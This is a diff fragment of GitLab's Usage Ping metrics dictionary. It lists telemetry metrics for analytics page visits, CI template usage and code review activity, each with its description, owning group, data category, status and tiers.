+Tiers: `free`, `premium`, `ultimate`
+
+### `prometheus_metrics_enabled`
+
+Whether Prometheus Metrics endpoint is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `recorded_at`
+
+When the Usage Ping computation was started
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210201124932_recorded_at.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Standard`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `recording_ce_finished_at`
+
+When the core features were computed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210204124938_recording_ce_finished_at.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Standard`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `recording_ee_finished_at`
+
+When the EE-specific features were computed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124940_recording_ee_finished_at.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Standard`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.analytics.analytics_total_unique_counts_monthly`
+
+The number of unique users who visited any analytics feature by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175016_analytics_total_unique_counts_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.analytics_total_unique_counts_weekly`
+
+The number of unique users who visited any analytics feature by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175014_analytics_total_unique_counts_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.g_analytics_contribution_monthly`
+
+Unique visitors to /groups/:group/-/contribution_analytics by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216174914_g_analytics_contribution_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.g_analytics_contribution_weekly`
+
+Unique visitors to /groups/:group/-/contribution_analytics by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216174912_g_analytics_contribution_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.g_analytics_insights_monthly`
+
+Unique visitors to /groups/:group/-/insights/ by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216174918_g_analytics_insights_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.g_analytics_insights_weekly`
+
+Unique visitors to /groups/:group/-/insights/ by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216174916_g_analytics_insights_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.g_analytics_issues_monthly`
+
+Unique visitors to /groups/:group/-/issues_analytics by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216174921_g_analytics_issues_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.g_analytics_issues_weekly`
+
+Unique visitors to /groups/:group/-/issues_analytics by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216174919_g_analytics_issues_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.g_analytics_merge_request_monthly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175004_g_analytics_merge_request_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.g_analytics_merge_request_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216175002_g_analytics_merge_request_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers:
+
+### `redis_hll_counters.analytics.g_analytics_productivity_monthly`
+
+Unique visitors to /groups/:group/-/analytics/productivity_analytics by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216174926_g_analytics_productivity_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.g_analytics_productivity_weekly`
+
+Unique visitors to /groups/:group/-/analytics/productivity_analytics by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216174923_g_analytics_productivity_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.g_analytics_valuestream_monthly`
+
+Unique visitors to /groups/:group/-/analytics/value_stream_analytics by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216174929_g_analytics_valuestream_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.g_analytics_valuestream_weekly`
+
+Unique visitors to /groups/:group/-/analytics/value_stream_analytics by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216174927_g_analytics_valuestream_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.i_analytics_cohorts_monthly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216174956_i_analytics_cohorts_monthly.yml)
+
+Group: `group::utilization`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.i_analytics_cohorts_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216174955_i_analytics_cohorts_weekly.yml)
+
+Group: `group::utilization`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.i_analytics_dev_ops_adoption_monthly`
+
+Counts visits to DevOps Adoption page per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210401092244_i_analytics_dev_ops_adoption_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.analytics.i_analytics_dev_ops_adoption_weekly`
+
+Counts visits to DevOps Adoption page per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210401092244_i_analytics_dev_ops_adoption_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.analytics.i_analytics_dev_ops_score_monthly`
+
+Unique visitors to /admin/dev_ops_report by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175000_i_analytics_dev_ops_score_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.i_analytics_dev_ops_score_weekly`
+
+Unique visitors to /admin/dev_ops_report by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216174958_i_analytics_dev_ops_score_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.i_analytics_instance_statistics_monthly`
+
+Unique visitors to /admin/usage_trends by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175012_i_analytics_instance_statistics_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.i_analytics_instance_statistics_weekly`
+
+Unique visitors to /admin/usage_trends by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175010_i_analytics_instance_statistics_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.p_analytics_code_reviews_monthly`
+
+Unique visitors to /:group/:project/-/analytics/code_reviews by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216174937_p_analytics_code_reviews_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.p_analytics_code_reviews_weekly`
+
+Unique visitors to /:group/:project/-/analytics/code_reviews by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216174935_p_analytics_code_reviews_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.p_analytics_insights_monthly`
+
+Unique visitors to /:group/:project/insights/ by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216174945_p_analytics_insights_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.p_analytics_insights_weekly`
+
+Unique visitors to /:group/:project/insights/ by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216174943_p_analytics_insights_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.p_analytics_issues_monthly`
+
+Unique visitors to /:group/:project/-/analytics/issues_analytics by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216174949_p_analytics_issues_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.p_analytics_issues_weekly`
+
+Unique visitors to /:group/:project/-/analytics/issues_analytics by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216174947_p_analytics_issues_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.p_analytics_merge_request_monthly`
+
+Unique visitors to /:group/:project/-/analytics/merge_request_analytics by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175008_p_analytics_merge_request_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.p_analytics_merge_request_weekly`
+
+Unique visitors to /:group/:project/-/analytics/merge_request_analytics by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216175006_p_analytics_merge_request_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.p_analytics_pipelines_monthly`
+
+Unique visitors to /groups/:group/-/analytics/ci_cd by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216174933_p_analytics_pipelines_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.p_analytics_pipelines_weekly`
+
+Unique visitors to /groups/:group/-/analytics/ci_cd by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216174931_p_analytics_pipelines_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.p_analytics_repo_monthly`
+
+Unique visitors to /:group/:project/-/graphs/master/charts by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216174953_p_analytics_repo_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.p_analytics_repo_weekly`
+
+Unique visitors to /:group/:project/-/graphs/master/charts by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216174951_p_analytics_repo_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.p_analytics_valuestream_monthly`
+
+Unique visitors to /:group/:project/-/value_stream_analytics by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216174941_p_analytics_valuestream_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.analytics.p_analytics_valuestream_weekly`
+
+Unique visitors to /:group/:project/-/value_stream_analytics by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216174939_p_analytics_valuestream_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.analytics.users_viewing_analytics_group_devops_adoption_monthly`
+
+Counts visits to DevOps Adoption page per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210419105414_users_viewing_analytics_group_devops_adoption_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.analytics.users_viewing_analytics_group_devops_adoption_weekly`
+
+Counts visits to DevOps Adoption page per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210419105408_users_viewing_analytics_group_devops_adoption_weekly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.ci_secrets_management.i_ci_secrets_management_vault_build_created_monthly`
+
+Monthly active users creating pipelines that that have the Vault JWT with it.'
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216184251_i_ci_secrets_management_vault_build_created_monthly.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.ci_secrets_management.i_ci_secrets_management_vault_build_created_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184249_i_ci_secrets_management_vault_build_created_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.ci_templates.ci_templates_total_unique_counts_monthly`
+
+Total count of pipelines runs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `broken`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.ci_templates_total_unique_counts_weekly`
+
+Total count of pipelines runs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `broken`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_5_min_production_app_monthly`
+
+Number of projects using 5 min production app CI template in last 7 days.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184517_p_ci_templates_5_min_production_app_monthly.yml)
+
+Group: `group::5-min-app`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_5_min_production_app_weekly`
+
+Number of projects using 5 min production app CI template in last 7 days.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184515_p_ci_templates_5_min_production_app_weekly.yml)
+
+Group: `group::5-min-app`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_auto_devops_build_monthly`
+
+Count of pipelines using the Auto Build template
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184534_p_ci_templates_auto_devops_build_monthly.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_auto_devops_build_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184532_p_ci_templates_auto_devops_build_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.ci_templates.p_ci_templates_auto_devops_deploy_latest_monthly`
+
+Count of pipelines using the latest Auto Deploy template
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184542_p_ci_templates_auto_devops_deploy_latest_monthly.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_auto_devops_deploy_latest_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184540_p_ci_templates_auto_devops_deploy_latest_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.ci_templates.p_ci_templates_auto_devops_deploy_monthly`
+
+Count of pipelines using the stable Auto Deploy template
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184538_p_ci_templates_auto_devops_deploy_monthly.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_auto_devops_deploy_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184536_p_ci_templates_auto_devops_deploy_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.ci_templates.p_ci_templates_auto_devops_monthly`
+
+Count of pipelines using the Auto DevOps template
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184523_p_ci_templates_auto_devops_monthly.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_auto_devops_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184520_p_ci_templates_auto_devops_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.ci_templates.p_ci_templates_aws_cf_deploy_ec2_monthly`
+
+Count of projects using `AWS/CF-Provision-and-Deploy-EC2.gitlab-ci.yml` template in last 28 days.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184526_p_ci_templates_aws_cf_deploy_ec2_monthly.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_aws_cf_deploy_ec2_weekly`
+
+Count of projects using `AWS/CF-Provision-and-Deploy-EC2.gitlab-ci.yml` template in last 7 days.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184524_p_ci_templates_aws_cf_deploy_ec2_weekly.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_aws_deploy_ecs_monthly`
+
+Count of projects using `AWS/Deploy-ECS.gitlab-ci.yml` template in last 28 days.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184530_p_ci_templates_aws_deploy_ecs_monthly.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_aws_deploy_ecs_weekly`
+
+Count of projects using `AWS/Deploy-ECS.gitlab-ci.yml` template in last 7 days.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184528_p_ci_templates_aws_deploy_ecs_weekly.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_implicit_auto_devops_build_monthly`
+
+Count of pipelines with implicit Auto Build runs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184502_p_ci_templates_implicit_auto_devops_build_monthly.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_implicit_auto_devops_build_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184500_p_ci_templates_implicit_auto_devops_build_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.ci_templates.p_ci_templates_implicit_auto_devops_deploy_monthly`
+
+Count of pipelines with implicit Auto Deploy runs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184506_p_ci_templates_implicit_auto_devops_deploy_monthly.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_implicit_auto_devops_deploy_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184504_p_ci_templates_implicit_auto_devops_deploy_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.ci_templates.p_ci_templates_implicit_auto_devops_monthly`
+
+Count of pipelines with implicit Auto DevOps runs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184458_p_ci_templates_implicit_auto_devops_monthly.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_implicit_auto_devops_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184456_p_ci_templates_implicit_auto_devops_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.ci_templates.p_ci_templates_implicit_security_sast_monthly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184510_p_ci_templates_implicit_security_sast_monthly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_implicit_security_sast_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184508_p_ci_templates_implicit_security_sast_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.ci_templates.p_ci_templates_implicit_security_secret_detection_monthly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184513_p_ci_templates_implicit_security_secret_detection_monthly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_implicit_security_secret_detection_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184512_p_ci_templates_implicit_security_secret_detection_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.ci_templates.p_ci_templates_security_sast_monthly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184546_p_ci_templates_security_sast_monthly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_security_sast_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184544_p_ci_templates_security_sast_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.ci_templates.p_ci_templates_security_secret_detection_monthly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184551_p_ci_templates_security_secret_detection_monthly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_security_secret_detection_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184549_p_ci_templates_security_secret_detection_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.ci_templates.p_ci_templates_terraform_base_latest_monthly`
+
+Count of pipelines that include the terraform base template from GitLab
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184555_p_ci_templates_terraform_base_latest_monthly.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ci_templates.p_ci_templates_terraform_base_latest_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184553_p_ci_templates_terraform_base_latest_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.code_review.code_review_total_unique_counts_monthly`
+
+Count of unique users per month who interact with a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184454_code_review_total_unique_counts_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.code_review_total_unique_counts_weekly`
+
+Count of unique users per week who interact with a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184452_code_review_total_unique_counts_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
